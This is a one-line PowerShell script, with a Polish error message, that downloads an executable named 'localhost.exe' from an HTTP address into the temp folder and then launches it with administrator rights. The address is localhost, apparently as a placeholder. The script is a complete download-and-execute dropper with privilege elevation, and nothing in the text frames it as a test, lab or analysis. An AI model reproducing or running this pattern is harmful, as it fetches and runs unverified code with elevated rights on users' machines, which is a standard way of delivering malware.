$destination = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "localhost.exe"); Invoke-WebRequest -Uri "http://localhost/localhost.exe" -OutFile $destination; if (Test-Path $destination) { Start-Process -FilePath $destination -Verb RunAs } else { Write-Host "Błąd: Pobieranie pliku nie powiodło się." }